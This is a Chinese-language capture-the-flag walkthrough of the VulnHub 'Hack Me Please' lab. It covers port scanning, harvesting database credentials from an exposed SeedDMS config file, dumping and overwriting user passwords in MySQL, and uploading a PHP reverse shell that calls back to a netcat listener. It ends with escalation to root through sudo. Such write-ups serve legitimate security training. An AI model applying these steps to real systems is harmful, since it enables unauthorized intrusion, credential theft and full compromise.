vulhub_HACK ME PLEASE
- 简介
- 扫描开放端口
- 探测web服务
- 搜集seedms的信息
- 登录mysql,尝试获得seeddms的密码
- 利用RCE漏洞
- 提权
简介
靶机链接:https://www.vulnhub.com/entry/hack-me-please-1,731/
难度:简单
描述:一个完全为OSCP设计的简单盒子。不需要暴力破解。
目的:获得root shell
扫描开放端口
确定IP地址
首先,我们必须识别靶机的 IP 地址(如果是在真实环境中这一步应该是绕过CDN,或者其他方法找到真实服务器IP)
netdiscover -r 192.168.132.0/24
端口探测查看开启的服务
nmap -sC -sV 192.168.132.145 -n -vv --min-rate=2000
由于没有开启ssh,我们必须找其他方法进行远程命令控制,先来读一读网页信息。
探测web服务
查看默认页面
该网站的默认页面没有过多信息
查看页面源码js链接中有没有敏感信息泄露
view-source:http://192.168.132.145/js/main.js
结果在main.js里发现敏感信息。
百度去搜索一下seeddms,发现是一个文档管理系统,版本为5.1.22。访问http://192.168.132.145/seeddms51x/seeddms-5.1.22。为一个登录页面,但题目要求不需要暴力破解。
搜集seedms的信息
1.搜集该系统版本漏洞
searchsploit seeddms 或者在https://www.exploit-db.com/exploits搜索
存在漏洞的版本都是低版本,该seeddms可能没有漏洞 ,但可以做个参考试一试。
两个RCE漏洞都需要登录后才可利用。现在或许只能设法从mysql中得到seeddms登录密码信息。
2.查看该系统的文件目录获取更多信息
访问https://sourceforge.net/p/seeddms/code/ci/5.1.22/tree/ #查看目录树
https://sourceforge.net/projects/seeddms/files/ #下载该软件的地址
查看目录树,发现有一个conf配置文件,conf包含服务器的配置。配置文件中多存在敏感信息。
查看settings.xml.template,发现该文件中要求写入数据库信息。访问该页面就可以的到mysql账号密码!
http://192.168.132.145/seeddms51x/conf/settings.xml
得到了数据库账号密码!
登录mysql,尝试获得seeddms的密码
mysql -useeddms -p -h192.168.132.145 -P3306
use seeddms;
─$ mysql -useeddms -p -h192.168.132.145 -P3306
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 194
Server version: 8.0.25-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
show tables; //查看表格
发现所有表格都以tbl开头,但又一个单独的 users
MySQL [seeddms]> SELECT * FROM users; //查看users
±------------±--------------------±-------------------±----------------+
| Employee_id | Employee_first_name | Employee_last_name | Employee_passwd |
±------------±--------------------±-------------------±----------------+
| 1 | saket | saurav | Saket@#$1337 |
获取了一个密码信息,可能是靶机用户的密码,但是没有账号。
查看tblusers
select * from tblUsers;
直接修改数据库保存密码
UPDATE tblUsers SET pwd=‘e10adc3949ba59abbe56e057f20f883e’ WHERE login=‘admin’;
pwd为自己生成的密码123456
修改成功
使用已知的账户名:admin和修改的密码:123456,在http://192.168.132.145/seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php界面进行登录。
登陆成功
利用RCE漏洞
利用我们之前搜集到的版本漏洞
可以执行一句话木马,但是网页操作比较繁琐,下面我们使用反弹shell
https://www.revshells.com/ 自动生成反弹shell 没成功
使用kali有自带反弹shell文件 /usr/share/webshells/php/php-reverse-shell.php
复制 重命名为100.php 改掉 ip为kali ip
ip改成自己kali ip
添加文档
将做好的100.php上传
回到dms首页点击100.php 序列号为10
所有的都会上传后默认 存储到192.168.132.145/seeddms51x/data/1048576/序列号/1.php
3.kali上进行监听: nc -nlvp 1234
4.访问反弹shell文件 http://192.168.132.145/seeddms51x/data/1048576/10/1.php
回到首页查看序列号/1.php访问错误就能监听到
5.此时监听成功
提权
1.增加反弹shell的交互功能:python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
此时我们已经有了远程命令执行
grep bash /etc/passwd 查看可以登录的账号,发现有saket账户,之前在user表中看到过密码:Saket@#$1337
2.尝试登录 su - saket
3.检查用户的 sudo 权限,发现有all权限
- sudo su - root 直接切换到root,提权成功!